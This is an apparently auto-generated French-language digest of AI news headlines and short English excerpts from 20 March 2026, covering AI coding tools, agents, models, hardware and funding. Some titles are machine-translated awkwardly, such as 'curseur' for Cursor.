📰 Revue IA — 20/03/2026

213 articles

Vibe Coding 7

Que s'est-il passĂ© Dev.to — Cursor 2026-03-20
Que s'est-il passé lorsque le curseur a refusé d'écrire plus de code (et ce qu'il montre sur les limites de l'IA)

This post was created with AI assistance and reviewed for accuracy before publishing. In March 2025, a developer using Cursor AI for a racing game hit an unexpected wall. After about an hour of "vibe coding" and roughly 750 to 800 lines of generated code, Cursor stopped and told the user to write the logic himself. The incident went viral on Hacker News and was covered by Ars Technica and TechCrun

Claude Code Curseur Dev.to — Cursor 2026-03-20
Claude Code vs Curseur vs Antigravité : Quel outil de codage d'IA devriez-vous utiliser en 2026 ?

Claude Code vs Cursor vs Antigravity: Which AI Coding Tool Should You Use in 2026? Every CS student and developer I know is using at least one AI coding tool right now. The problem isn't finding one — it's figuring out which one is actually worth your time, and whether the paid ones are worth the money. I've personally used all three — Claude Code, Cursor, and Google Antigravity — across real proj

Curseur GitHub Copilot Dev.to — Cursor 2026-03-19
Curseur vs GitHub Copilot 2026 : la révolution du codage de l'IA qui divise les développeurs (et pourquoi votre choix compte plus que jamais)

The AI coding landscape has exploded in 2026, and developers are facing a choice that could define their productivity for years to come. While GitHub Copilot dominated the early AI coding assistant market, Cursor has emerged as a formidable challenger, promising to revolutionize how we think about AI-powered development environments. But which one deserves your subscription fee and, more important

J'ai perdu heures Dev.to — Cursor 2026-03-19
J'ai perdu 3 heures à décrire un bug à l'IA du curseur. Puis j'ai trouvé un meilleur moyen.

A non-professional developer’s honest take on real device testing There’s a specific kind of frustration that only vibe coders know. You’ve been building for hours. The app looks great on the emulator. You feel like you’re actually pulling this off. Then you test it on your real phone — and something’s broken. A button is misaligned. A font looks wrong. A feature just doesn’t respond. So you do wh

ArrĂȘtez brĂ»ler l'argent Dev.to — Cursor 2026-03-18
🚀 ArrĂȘtez de brĂ»ler de l'argent sur les outils d'IA - Utilisez le curseur comme un pro

You wouldn't leave your car engine running while you grab groceries. So why are you burning thousands of tokens on a chat that's asking an AI to "look at your entire repo"? AI coding tools like Cursor , Claude Code , and GitHub Copilot are genuinely life-changing for developers. But here's the uncomfortable truth nobody tells you when you sign up: Most developers use them inefficiently, and pay fo

Codage dynamique avec Towards Data Science 2026-03-19
Codage dynamique avec l'IA : meilleures pratiques pour la collaboration entre l'humain et l'IA dans le développement de logiciels

Accelerate coding with AI while staying in control and building reliable, production-ready software. The post Vibe Coding with AI: Best Practices for Human-AI Collaboration in Software Development appeared first on Towards Data Science .

nouvelle expérience codage Towards Data Science 2026-03-18
La nouvelle expérience du codage avec l'IA

The seduction of AI code assistants The post The New Experience of Coding with AI appeared first on Towards Data Science .

Assistants et Agents IA 32

Claude Code coĂ»te VentureBeat — AI
Claude Code coĂ»te jusqu'Ă  200 $ par mois. Goose fait la mĂȘme chose gratuitement.

The artificial intelligence coding revolution comes with a catch: it's expensive. Claude Code , Anthropic's terminal-based AI agent that can write, debug, and deploy code autonomously, has captured the imagination of software developers worldwide. But its pricing — ranging from $20 to $200 per month depending on usage — has sparked a growing rebellion among the very programmers it aims to serve. N

Salesforce dĂ©ploie nouvel VentureBeat — AI
Salesforce déploie un nouvel agent d'IA Slackbot alors qu'il combat Microsoft et Google dans l'IA sur le lieu de travail

Salesforce on Tuesday launched an entirely rebuilt version of Slackbot , the company's workplace assistant, transforming it from a simple notification tool into what executives describe as a fully powered AI agent capable of searching enterprise data, drafting documents, and taking action on behalf of employees. The new Slackbot, now generally available to Business+ and Enterprise+ customers, is S

Anthropic lance Cowork, VentureBeat — AI
Anthropic lance Cowork, un agent Claude Desktop qui fonctionne dans vos fichiers — aucun codage requis

Anthropic released Cowork on Monday, a new AI agent capability that extends the power of its wildly successful Claude Code tool to non-technical users — and according to company insiders, the team built the entire feature in approximately a week and a half, largely using Claude Code itself. The launch marks a major inflection point in the race to deliver practical AI agents to mainstream users, po

DĂ©bloquer CLI Gemini Dev.to — AI 2026-03-20
Débloquer la CLI Gemini avec le mode Compétences, Crochets et Plan

In Unlocking Gemini CLI with Skills, Hooks & Plan Mode , we moved past the basics and into the "power user" features of Gemini CLI . I was joined by Jack Wotherspoon from the Gemini CLI team to show how developers can exert more control over their AI agents and handle complex, multi-step projects with confidence. From a 20-minute app build to the introduction of a "read-only" research mode, this e

idĂ©es d'entreprise individuelles Dev.to — AI 2026-03-20
16 idées d'entreprise individuelles à l'Úre de l'IA

This article was originally published on do-nothing.ai . The canonical version is there. 16 One-Man Business Ideas in the AI Era The best one-man business ideas in 2026 don't feel like one-man businesses. They feel like companies. Because they operate like companies. One founder, a stack of AI agents, and enough infrastructure to handle what used to need six people. This is the actual play. Not "s

idĂ©es commerciales d'agents Dev.to — AI 2026-03-20
10 idées commerciales d'agents IA que vous pouvez démarrer seul en 2026

This article was originally published on do-nothing.ai . The canonical version is there. 10 AI Agent Business Ideas You Can Start Solo in 2026 AI helpers aren't just a feature you add to an existing business. They can be the whole business. An AI agent is software that thinks, takes actions, and completes multi-step tasks without someone holding its hand at every step. When you build a business ar

trafic robots ligne TechCrunch — AI 2026-03-19
Le trafic des robots en ligne dépassera le trafic humain d'ici 2027, selon le PDG de Cloudflare

AI bots may outnumber humans online by 2027, says Cloudflare CEO Matthew Prince, as generative AI agents dramatically increase web traffic and infrastructure demands.

Meta problùmes avec TechCrunch — AI 2026-03-18
Meta a des problĂšmes avec les agents IA voyous

A rogue AI agent inadvertently exposed Meta company and user data to engineers who didn't have permission to see it.

choses que personne Dev.to — LLM 2026-03-20
12 choses que personne ne vous dit sur la construction d'un systĂšme de CHIFFON de production

I spent several months building Ask360 , a multi-tenant RAG platform that lets anyone upload documents and deploy an AI assistant with source citations and confidence badges. The UI and CRUD took a few weeks. The search quality, failover, and production hardening? That's where the real engineering happened. Here are the problems I hit that tutorials don't cover, and the solutions that actually wor

CrĂ©ation d'applications RAG Dev.to — LLM 2026-03-20
CrĂ©ation d'applications RAG avec LangChain : un guide prĂȘt pour la production

Fine-tuning is expensive, slow, and usually overkill. Retrieval-Augmented Generation (RAG) lets your LLM answer questions about your data without touching model weights — and you can have a working prototype in an afternoon. But "working prototype" and "production system" are very different things. The gap between a demo that retrieves something and a pipeline that retrieves the right thing with g

AgenticDev cadre multi-LLM Dev.to — LLM 2026-03-20
AgenticDev : un cadre multi-LLM pour générer du code testé

In late 2025, after spending hours prompting LLMs one by one to generate code, a question kept nagging me: what if multiple LLM agents could collaborate to produce a complete project? Not a single agent doing everything, but a specialized team — an architect, a developer, a tester — each with its own role, tools, and constraints. That's how AgenticDev was born, a Python framework that orchestrates

Jetez coup d'Ɠil Dev.to — Cursor 2026-03-20
Jetez un coup d'Ɠil Ă  cet article et laissez-nous vos commentaires ! RĂ©flĂ©chissons Ă  de nouvelles idĂ©es et apprenons ensemble.

Agentic Coding: Rules, skills, subagents, and reflection—how we steer models so multi-step work stays coherent. Burak Boduroğlu ・ Mar 20 #ai #cursor #agents #llm

Codage authentique rùgles, Dev.to — Cursor 2026-03-20
Codage authentique : rÚgles, compétences, sous-agents et réflexion - comment nous orientons les modÚles pour que le travail en plusieurs étapes reste cohérent.

Agentic coding here means treating the LLM as part of a system : you supply constraints (rules), reusable procedures (skills), and split responsibilities (subagents), then merge and review (reflection) instead of hoping one giant prompt does it all. This repository is a small, concrete rehearsal of that pattern. The runnable piece is a User Analytics dashboard—enough UI and mock data to force real

Compositeur Nouveau modùle Dev.to — Cursor 2026-03-20
Compositeur 2 : Nouveau modÚle de codage, repÚres et tarification du curseur

This post was created with AI assistance and reviewed for accuracy before publishing. On March 19, 2026, Cursor shipped Composer 2 , the next version of its in-house agentic coding model. It is positioned as frontier-level on coding work while Standard pricing stays at $0.50 per million input tokens and $2.50 per million output tokens. If you use Cursor’s Agent regularly, Composer 2 is the headlin

Modes défaillance Agentic Towards Data Science 2026-03-20
Modes de défaillance Agentic RAG : Récupération Thrash, Tool Storms et Context Bloat (et comment les repérer tÎt)

Why agentic RAG systems fail silently in production and how to detect them before your cloud bill does The post Agentic RAG Failure Modes: Retrieval Thrash, Tool Storms, and Context Bloat (and How to Spot Them Early) appeared first on Towards Data Science .

Afficher Golf Scanner Hacker News 2026-03-08
Montrer Passerelle Permit Hacker News 2026-03-18
passerelles sĂ©curitĂ© MCP Dev.to — Agents 2026-03-20
3 passerelles de sécurité MCP lancées cette semaine. Aucun d'entre eux ne fait d'autorisation préalable à l'action.

Three enterprise AI security products launched in a 48-hour window this week. Aurascape dropped its Zero-Bypass MCP Gateway. PointGuard AI shipped its MCP Security Gateway. Proofpoint extended its AI Security platform to cover MCP connections. Gartner is already recommending organizations "deploy AI/API gateways or MCP proxies to mediate traffic, enforce policies and monitor agent behavior." The e

SaaS n'est pas Dev.to — Agents 2026-03-20
Le SaaS n'est pas en train de mourir. Les douves se déplacent.

There’s a growing idea that SaaS is breaking because of AI agents. Everyone can build faster. Everyone is adding “agents that do things.” And margins may not look like traditional SaaS anymore. That part is real. But the assumption underneath it is not new. The product being easy to replicate has been true for a long time. In many SaaS markets, the interface was never the real moat. What tends to

Votre agent accùs Dev.to — Agents 2026-03-20
Votre agent IA a accÚs à tout. Qui regarde ce qu'il envoie ?

Your AI Agent Has Access to Everything. Who's Watching What It Sends? I'm going to be honest about something: I built mistaike.ai with AI agents (Claude coordinates, Gemini implements), and during that process, one of them tried to send a production database password to an external MCP tool. The DLP pipeline I was building caught it. If it hadn't existed, that credential would have been forwarded

RĂ©duisez jetons d'entrĂ©e Dev.to — Agents 2026-03-20
Réduisez les jetons d'entrée de votre agent IA de 95 % avec l'extraction intelligente de données

Cut Your AI Agent's Input Tokens by 95% With Smart Data Extraction You're building an AI agent that needs to read web pages. Research papers. Competitor websites. News articles. Customer websites. Your agent fetches the URL and sends the raw HTML to your LLM. Here's what Claude sees:

Qu'est-ce qu'un agent Dev.to — Agents 2026-03-20
Qu'est-ce qu'un agent IA ? Comment les logiciels intelligents font réellement leur travail

What is an AI Agent? The Complete Guide to Software That Actually Does Work Unlike chatbots that just answer questions, AI agents perceive their environment, make decisions, and take real actions to accomplish goals — here's how they work and why they're transforming business automation. The AI Revolution You're Already Using (Without Knowing It) Your Uber driver cancels last-minute, and within se

Visa prépare systÚmes AI News 2026-03-19
Visa prépare les systÚmes de paiement pour les transactions initiées par un agent IA

Payments rely on a simple model: a person decides to buy something, and a bank or card network processes the transaction. That model is starting to change as Visa tests how AI agents can initiate payments. New work in the banking sector suggests that, in some cases, software agents may soon take on that role. [
] The post Visa prepares payment systems for AI agent-initiated transactions appeared f

NVIDIA veut que AI News 2026-03-19
NVIDIA veut que les agents d'IA d'entreprise soient plus sûrs à déployer

The NVIDIA Agent Toolkit is Jensen Huang’s answer to the question enterprises keep asking: how do we put AI agents to work without losing control of our data and our liability? Announced at GTC 2026 in San Jose on March 16, the NVIDIA Agent Toolkit is an open-source software stack designed to help enterprises and [
] The post NVIDIA wants enterprise AI agents safer to deploy appeared first on AI N

Trustpilot s'associe entreprises AI News 2026-03-17
Trustpilot s'associe Ă  des entreprises d'IA alors que la recherche traditionnelle diminue

Trustpilot is reported to be pursuing partnerships with large eCommerce companies as AI-driven shopping gains traction. In an interview with Bloomberg News [paywall], chief executive Adrian Blair said that AI agents acting on behalf of consumers require lots of information about the businesses they’re willing to interact with. He said the most effective systems will [
] The post Trustpilot partner

NTT DATA NVIDIA AI News 2026-03-16
NTT DATA et NVIDIA amÚnent les usines d'IA d'entreprise à l'échelle de la production

NTT DATA has announced an initiative to deliver NVIDIA-powered platforms designed to give organisations a repeatable, production-ready model for scaling AI. The offering integrates NVIDIA’s GPU-accelerated computing and high-performance networking with NVIDIA AI Enterprise software, including NeMo and NIM Microservices, into a full-stack agentic AI platform that can be deployed in cloud and edge e

OpenAI's Frontier met AI News 2026-03-16
OpenAI's Frontier met les agents de l'IA dans un combat que le SaaS ne peut pas se permettre de perdre

When OpenAI launched Frontier in February, the announcement was described as a platform for enterprise AI agents. What it actually signalled was a challenge to the revenue architecture underpinning the software industry. Frontier is designed to act as a semantic layer in an organisation’s existing systems, connecting data warehouses, CRM platforms, ticketing tools, and internal [
] The post OpenAI

Fichiers repo versionnés Hacker News 2026-03-19
Show J'ai construit Hacker News 2026-03-16
L'écosystÚme MCP comment Hacker News 2026-03-13
Show KYC Verification Hacker News 2026-03-19
Show Agentic Copilot Hacker News 2026-03-19

Audio et Voix IA 1

Show Trois nouveaux Hacker News 2026-03-19

Modeles et LLM 29

Travailler domicile encourage The Verge — Tech 2026-03-20
« Travailler à domicile », encourage le chien de garde mondial de l'énergie

De nombreuses organisations ont rappelĂ© leurs employĂ©s dans leurs bureaux Ă  la suite de confinements liĂ©s Ă  la Covid, mais la guerre en Iran et la crise Ă©nergĂ©tique qui a suivi pourraient rapidement voir les travailleurs retourner au travail de chez eux. L'Agence internationale de l'Ă©nergie (aie) - un organisme de surveillance de l'Ă©nergie créé pour aider Ă  protĂ©ger l'approvisionnement Ă©nergĂ©tique mondial Ă  la suite de la crise pĂ©troliĂšre des annĂ©es 1970 - fait pression pour que les gouvernements, les entreprises, [
]

LLM peuvent dĂ©masquer Ars Technica — AI 2026-03-03
NVIDIA GTC 2026 NVIDIA Blog 2026-03-20
NVIDIA GTC 2026 : mises à jour en direct sur les prochaines étapes de l'IA

Rolling coverage from San Jose, including NVIDIA CEO Jensen Huang’s keynote, news highlights, live demos and on‑the‑ground color through March 19.

Recherche automatique LLM Simon Willison 2026-03-18
Recherche automatique du « LLM in a Flash » d'Apple pour exécuter Qwen 397B localement

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of Qwen3.5-397B-A17B running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk. Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run ag

GPT-5.4 mini GPT-5.4 Simon Willison 2026-03-17
GPT-5.4 mini et GPT-5.4 nano, qui peuvent décrire 76 000 photos pour 52 $

OpenAI today: Introducing GPT‑5.4 mini and nano . These models join GPT-5.4 which was released two weeks ago . OpenAI's self-reported benchmarks show the new 5.4-nano out-performing their previous GPT-5 mini model when run at maximum reasoning effort. The new mini is also 2x faster than the previous mini. Here's how the pricing looks - all prices are per million tokens. gpt-5.4-nano is notably eve

Citation Tim Schilling Simon Willison 2026-03-17
Citation de Tim Schilling

If you do not understand the ticket, if you do not understand the solution, or if you do not understand the feedback on your PR, then your use of LLM is hurting Django as a whole. [...] For a reviewer, it’s demoralizing to communicate with a facade of a human. This is because contributing to open source, especially Django, is a communal endeavor. Removing your humanity from that experience makes t

Jeff Bezos aurait TechCrunch — AI 2026-03-19
Jeff Bezos aurait besoin de 100 milliards de $ pour acheter et transformer d'anciennes entreprises manufacturiĂšres avec l'IA

The Amazon magnate has a new project centered around acquiring industrial firms and revamping them with AI technology.

Multiverse Computing pousse TechCrunch — AI 2026-03-19
Multiverse Computing pousse ses modÚles d'IA compressés dans le courant dominant

After compressing models from major AI labs, including OpenAI, Meta, DeepSeek, and Mistral AI, Multiverse Computing has launched both an app that showcases the capabilities of its compressed models and an API that makes them more widely available.

classement you can' TechCrunch — Startups 2026-03-18
Le classement « you can' t game », financé par les entreprises qu'il classe

Artificial intelligence models are multiplying fast, and competition is stiff. With so many players crowding the space, which one will be the best — and who decides that? Arena, formerly LM Arena, has emerged as the de facto public leaderboard for frontier LLMs, influencing funding, launches, and PR cycles. In just seven months, the startup went from a UC Berkeley PhD research [
]

Extension Jupyter Prise Dev.to — LLM 2026-03-20
Extension Jupyter AI - Prise en charge Multi-LLM

Jupyter AI Extension Multi-LLM support for Jupyter notebooks with OpenAI, Claude, and Google Gemini. Features Support for GPT-4, Claude Opus, and Gemini 2.0 Flash Simple one-line configuration Chat and completion modes Fully documented with examples Installation pip install jupyter-ai-extension Quick Start from jupyter_ai_extension import JupyterAIExtension ai = JupyterAIExtension () ai . configur

techniques d'ingĂ©nierie donnĂ©es Dev.to — LLM 2026-03-20
5 techniques d'ingénierie des données qui ont augmenté notre efficacité LLM de 70 %

What if your data pipeline could boost LLM efficiency by 70%? Recently, my team faced a challenge: our Large Language Models were bottlenecked by data processing inefficiencies. We realized the focus had to shift from tweaking model architectures to enhancing our data engineering practices. One specific technique that transformed our approach was implementing a cascading data pipeline. By structur

État l'Open Source Hugging Face Blog
Compositeur curseur caractĂ©ristiques, Dev.to — Cursor 2026-03-19
Compositeur de curseur 2 : caractéristiques, prix, repÚres et impressions initiales

Introduction Cursor has released Composer 2, the latest version of its in-house coding model. The announcement is focused and fairly easy to summarize. Cursor is making three main claims: Composer 2 is frontier-level at coding it is materially better than previous Composer versions on Cursor’s published benchmarks it is priced aggressively enough to be practical for everyday use That combination m

Au-delĂ  mise cache Towards Data Science 2026-03-19
Au-delà de la mise en cache rapide : 5 autres choses que vous devriez mettre en cache dans les pipelines RAG

A practical guide to caching layers across the RAG pipeline, from query embeddings to full query-response reuse The post Beyond Prompt Caching: 5 More Things You Should Cache in RAG Pipelines appeared first on Towards Data Science .

modĂšle pour gouverner Towards Data Science 2026-03-18
Un modÚle pour les gouverner tous ? SAP-RPT-1 et l'avenir des modÚles de fondations tabulaires

A hands-on case study and practical guidance The post One Model to Rule Them All? SAP-RPT-1 and the Future of Tabular Foundation Models appeared first on Towards Data Science .

Afficher Brf.it Extraction Hacker News 2026-03-07
Afficher jj-benchmark Évaluation Hacker News 2026-03-12
Show Comment j'ai Hacker News 2026-03-10
Autonomiser agents d'IA Dev.to — Agents 2026-03-20
Autonomiser les agents d'IA : V1 Enrichir le sentiment (API ETL-D)

CONTENT: The Hallucination Problem Large Language Models (LLMs), though powerful, can sometimes "hallucinate" or produce information that is inaccurate or fabricated. This issue is particularly apparent in situations where the LLM is tasked with interpreting nuanced data such as sentiment. To mitigate this, associating an LLM with deterministic endpoints like the '/v1/enrich/sentiment' offers conc

Demandez Sommes-nous sur Hacker News 2026-03-20
Afficher ContextD OCR Hacker News 2026-03-20
Demandez Petit LLM Hacker News 2026-03-19
Show Llamactl Gestionnaire Hacker News 2026-03-17
Show Qwodel pipeline Hacker News 2026-03-12
Afficher seule CLI Hacker News 2026-03-13
Mastercard garde Ɠil AI News 2026-03-18
Mastercard garde un Ɠil sur la fraude avec le nouveau modùle de base

Mastercard has developed a large tabular model (an LTM as opposed to an LLM) that’s trained on transaction data rather than text or images to help it address security and authenticity issues in digital payments. The company has trained a foundation model on billions of card transactions, with the intention of expanding to hundreds of [
] The post Mastercard keeps tabs on fraud with new foundation

Pour efficace, l'assurance AI News 2026-03-18
Pour une IA efficace, l'assurance doit mettre de l'ordre dans ses données

A report from Autorek, a provider of AI solutions to the insurance industry has produced a report that describes operational drag in companies’ internal processes that not only affect overall efficiency but cause an impediment to the effective implementation of AI in insurance concerns. Insurance Operations & Financial Transformation 2026 [email wall] draws from a [
] The post For effective AI, in

Afficher ordinateur bureau Hacker News 2026-03-17
Show LLMadness Évals Hacker News 2026-03-19

GPU et Hardware 25

DLSS technologie graphique The Verge — AI 2026-03-19
DLSS 5 : La technologie graphique IA de Nvidia est-elle allée trop loin ?

Nvidia has revealed a new “3D guided neural rendering model” called DLSS 5 that can change a game’s lighting and materials in real-time, and
 many gamers aren’t happy. From DLSS 5 memes to complaints about how it’s “yassified” Resident Evil Requiem characters in demos, the first impression has not been a good one, no matter [
]

DLSS Nvidia est The Verge — AI 2026-03-17
Le DLSS 5 de Nvidia est comme le lissage de mouvement pour les jeux vidéo, mais pire

Yesterday Nvidia revealed its latest upscaling tech, called DLSS 5, which it described as "the company's most significant breakthrough in computer graphics since the debut of real-time ray tracing in 2018." Sounds good, until you actually see it. According to Nvidia, the tech "infuses pixels with photoreal lighting and materials," but all anyone seemed to [
]

OpenAI contourne Nvidia Ars Technica — AI 2026-02-12
OpenAI contourne Nvidia avec un modĂšle de codage exceptionnellement rapide sur des puces de la taille d'une plaque

OpenAI's new GPT‑5.3‑Codex‑Spark is 15 times faster at coding than its predecessor.

Mouvements fluides réalité NVIDIA Blog 2026-03-19
Mouvements fluides : la réalité virtuelle à 90 images par seconde arrive MAINTENANT sur GeForce

It’s a double feature on GFN Thursday. This week, GeForce NOW offers smoother sights in virtual reality (VR) and a sprawling new land to conquer. Streaming at 90 frames per second (fps) comes to supported VR headsets. And Crimson Desert, which recently surpassed 3 million wishlist additions on Steam, debuts in the cloud with GeForce [
]

simulation production comment NVIDIA Blog 2026-03-18
De la simulation à la production : comment construire des robots avec l'IA

The latest open models and frameworks from NVIDIA bring together simulation, robot learning and embedded compute to accelerate cloud-to-robot workflows.

More Than Meets NVIDIA Blog 2026-03-17
More Than Meets the Eye : les ordinateurs accélérés NVIDIA RTX se connectent désormais directement à Apple Vision Pro

NVIDIA and Apple’s collaboration brings native integration of NVIDIA CloudXR 6.0 to visionOS, securely delivering NVIDIA RTX-powered simulators and professional 3D graphics applications — like Immersive for Autodesk VRED on Innoactive’s XR streaming solutions — to Apple Vision Pro.

NVIDIA, leaders télécommunications NVIDIA Blog 2026-03-17
NVIDIA, les leaders des télécommunications construisent des réseaux d'IA pour optimiser l'inférence sur les réseaux distribués

As AI‑native applications scale to more users, agents and devices, the telecommunications network is becoming the next frontier for distributing AI. At NVIDIA GTC 2026, leading operators in the U.S. and Asia showed that this shift is underway, announcing AI grids — geographically distributed and interconnected AI infrastructure — using their network footprint to power [
]

chemin fer obtient VentureBeat — AI
Le chemin de fer obtient 100 millions de $ pour défier AWS avec une infrastructure cloud native à l'IA

Railway , a San Francisco-based cloud platform that has quietly amassed two million developers without spending a dollar on marketing, announced Thursday that it raised $100 million in a Series B funding round, as surging demand for artificial intelligence applications exposes the limitations of legacy cloud infrastructure. TQ Ventures led the round, with participation from FPV Ventures , Redpoint

Comment dĂ©veloppement l'IA Dev.to — AI 2026-03-20
Comment le développement de l'IA transforme les entreprises et les plateformes numériques aujourd'hui

Businesses today are no longer just competing on products or services; they’re competing on speed, experience, and decision-making. This is where AI development is making a real difference. From small startups to large enterprises, organizations are turning to intelligent systems to streamline operations, understand customers better, and stay ahead in a fast-moving digital world. What once felt li

Économisez 130 sur Tom's Hardware 2026-03-20
Économisez 130 $ sur cet ordinateur portable de jeu Asus ROG Strix G16 — Jeu RTX 5060 avec mise à niveau facile pour moins de 1 300 $

RTX 5060 gaming with easy upgradability for less than $1,300. The Asus ROG Strix G16 (2025) is a great value gaming laptop deal.

vendeur fait arnaquer Tom's Hardware 2026-03-20
mini-PC sans ventilateur Tom's Hardware 2026-03-19
Le mini-PC sans ventilateur Strix Point d'Arctic Ă  1 400 $ se cache sous votre bureau — Senza AI 370 est dotĂ© d'un processeur Ryzen AI 9 HX 370, d'une mĂ©moire vive de 32 Go et d'un disque SSD de 1 To

If you've been looking for a mini PC that goes beyond just decluttering your desk — one that basically doesn't even remind you of its existence, then Arctic has got just the thing for you. The new Senza AI 370 features a powerful AMD chip with a decent iGPU, 32 GB of fast RAM, a 1 TB SSD, and plenty of ports. It costs almost $1,400, though, but at least it's fanless.

Walmart inondé GPU Tom's Hardware 2026-03-19
L'équipe Optiscaler corrige Tom's Hardware 2026-03-19
L'Ă©quipe Optiscaler corrige le fantĂŽme INT8 FSR 4 sur les GPU de la sĂ©rie RX 6000 — ajoute la prise en charge des derniers pilotes Adrenalin

Optiscaler has provided a new update that helps remove ghosting on the INT8 version of FSR 4 for RX 6000 series graphics cards.

meilleur investissement pourrait TechCrunch — AI 2026-03-20
Le meilleur investissement en IA pourrait ĂȘtre dans les technologies Ă©nergĂ©tiques

Power has become one of the biggest bottlenecks in rolling out new AI data centers. That's creating an opening for investors.

lancer son premier TechCrunch — Startups 2026-03-19
K2 va lancer son premier satellite haute puissance pour le calcul spatial

K2's Gravitas is an ambitious project that aims to demonstrate the tech needed to build data centers in space.

SYNCAI Dev.to — LLM 2026-03-20
SYNCAI

If this agent really learned from its own failures, “just add more context” is officially dead. We thought our agent was nondeterministic. It wasn’t. It was consistently wrong in ways we couldn’t see—until we added Hindsight. We built a tool-using agent and wired in Hindsight to record + replay every run. Here’s what actually changed: ‱ Before: same input → different tool choices → random failures

Comment examiner efficacement Towards Data Science 2026-03-17
Comment examiner efficacement la sortie du code Claude

Get more out of your coding agents by making reviewing more efficient The post How to Effectively Review Claude Code Output appeared first on Towards Data Science .

Show Sokuji Traducteur Hacker News 2026-03-05
Goldman Sachs voit AI News 2026-03-17
Goldman Sachs voit l'investissement dans l'IA se déplacer vers les centres de données

Artificial intelligence investment is entering a more selective phase as companies and investors look beyond early excitement and focus on the data centre infrastructure required to run AI systems. Recent analysis from Goldman Sachs suggests the market is moving toward what the firm describes as a “flight to quality.” In practice, investors are paying closer [
] The post Goldman Sachs sees AI inve

E.SUN Bank IBM AI News 2026-03-13
E.SUN Bank et IBM construisent un cadre de gouvernance de l'IA pour les banques

E.SUN Bank is working with IBM to build clearer AI governance rules for how artificial intelligence can be used inside a bank. The effort reflects a wider shift in finance. Many firms already use AI for fraud checks and credit scoring, and some also use it to handle customer service queries. The new challenge is [
] The post E.SUN Bank and IBM build AI governance framework for banking appeared fir

Afficher VMetal exécuter Hacker News 2026-03-19
racks Nvidia Groq Hacker News 2026-03-17
Nvidia lance processeur Hacker News 2026-03-16
pilote GreenBoost open Hacker News 2026-03-15

Startups et Financement 10

gĂ©nĂ©rateur d'images d'Adobe The Verge — AI 2026-03-19
Le gĂ©nĂ©rateur d'images IA d'Adobe peut maintenant ĂȘtre formĂ© sur votre propre art

Adobe is launching customizable AI image generators that can mimic specific artistic styles and character designs. The Firefly Custom Models are available in public beta starting today, allowing creators and brands to train a model on their own assets to ensure generated images follow a consistent aesthetic for characters, illustrations, and photography. The tool aims [
]

Listen Labs lùve VentureBeat — AI
Listen Labs lĂšve 69 MILLIONS de $ aprĂšs une cascade d'embauche de panneaux d'affichage viraux pour adapter les entretiens avec les clients de l'IA

Alfred Wahlforss was running out of options. His startup, Listen Labs , needed to hire over 100 engineers, but competing against Mark Zuckerberg's $100 million offers seemed impossible. So he spent $5,000 — a fifth of his marketing budget — on a billboard in San Francisco displaying what looked like gibberish: five strings of random numbers. The numbers were actually AI tokens. Decoded, they led t

Meta dĂ©ploie nouveaux TechCrunch — AI 2026-03-19
Meta déploie de nouveaux systÚmes d'application du contenu de l'IA tout en réduisant la dépendance à l'égard des fournisseurs tiers

Meta believes these AI systems can detect more violations with greater accuracy, better prevent scams, respond more quickly to real-world events, and reduce over-enforcement.

TechCrunch Startup Battlefield TechCrunch — AI 2026-03-19
TechCrunch Startup Battlefield 200 nominations sont toujours ouvertes

Nominate your startup, or one you know, for TechCrunch Startup Battlefield 200 before May 27. Chance to win $100,000 equity-free funding and VC access.

Bluesky annonce sĂ©rie TechCrunch — Startups 2026-03-19
Bluesky annonce une série B de 100 MILLIONS de $ aprÚs la transition du PDG

The additional funds have been used to scale Bluesky's team, while the company continues to develop Bluesky's app and the underlying ATProto that powers it.

Alphabet's nouveau spin-out, TechCrunch — Startups 2026-03-19
Alphabet's X a un nouveau spin-out, et il s'attaque Ă  l'un des cauchemars bureaucratiques les plus chers du monde

Anori aims to shrink the pre-development process by getting all parties, including the city, on a unified platform from the start so that compliance conflicts are surfaced in weeks instead of months or years.

sociĂ©tĂ© protection vie TechCrunch — Startups 2026-03-19
Arc s'Ă©tend aux TechCrunch — Startups 2026-03-19
Arc s'étend aux bateaux commerciaux et de défense électriques avec une augmentation de 50 M $

The Los Angeles startup raised $50 million from Eclipse, a16z, Menlo Ventures, and others as it seeks to expand beyond sport boats.

Cette startup veut TechCrunch — Startups 2026-03-18
Cette startup veut faire en sorte que les logiciels d'entreprise ressemblent davantage Ă  une invite

The company has raised $12 million in seed funding to build an AI operating system for enterprise.

Parallélisme séquence d'Ulysse Hugging Face Blog

Autres 109

OpenAI planifie superapplication The Verge — Tech 2026-03-19
OpenAI planifie une « superapplication » de bureau

OpenAI travaille sur une « superapplication » de bureau qui fusionne son application ChatGPT, l'application de codage Codex AI et son navigateur Atlas alimentĂ© par l'IA en une seule application, rapporte The Wall Street Journal. La sociĂ©tĂ© effectue le changement dans le cadre d'un effort visant Ă  simplifier ses diffĂ©rents efforts en matiĂšre de produits, selon une note citĂ©e par le WSJ [
]

malhonnĂȘte conduit grave The Verge — Tech 2026-03-19
Une IA malhonnĂȘte a conduit Ă  un grave incident de sĂ©curitĂ© Ă  Meta

Pendant prĂšs de deux heures la semaine derniĂšre, les employĂ©s de Meta ont eu un accĂšs non autorisĂ© aux donnĂ©es de l'entreprise et des utilisateurs grĂące Ă  un agent d'IA qui a donnĂ© Ă  un employĂ© des conseils techniques inexacts, comme indiquĂ© prĂ©cĂ©demment par The Information. La porte-parole de Meta, Tracy Clayton, a dĂ©clarĂ© dans une dĂ©claration Ă  The Verge qu '« aucune donnĂ©e utilisateur n'a Ă©tĂ© mal gĂ©rĂ©e » lors de l'incident. A [
]

Trump incite entreprises Ars Technica — AI 2026-03-05
nouvelle attaque AirSnitch Ars Technica — AI 2026-02-26
La nouvelle attaque AirSnitch contourne le cryptage Wi-Fi dans les maisons, les bureaux et les entreprises

That guest network you set up for your neighbors may not be as secure as you think.

RĂ©traction aprĂšs rejet Ars Technica — AI 2026-02-13
J'ai construit convertisseur Dev.to — AI 2026-03-20
J'ai construit un convertisseur de pieds en mÚtres qui est rapide, précis et entiÚrement cÎté client

If you’ve ever built utility tools, you know the challenge is not the math — it’s the experience. Recently, I built a Feet to Meters converter for UtilityEra. On the surface, it looks like a tiny feature: take a value in feet, multiply it by 0.3048, and show the result in meters. But I wanted the page to be more than a bare calculator. I wanted it to be fast, clear, and genuinely useful for people

Réflexions sur l'acquisition Simon Willison 2026-03-19
Réflexions sur l'acquisition d'OpenAI Astral et uv/ruff/ty

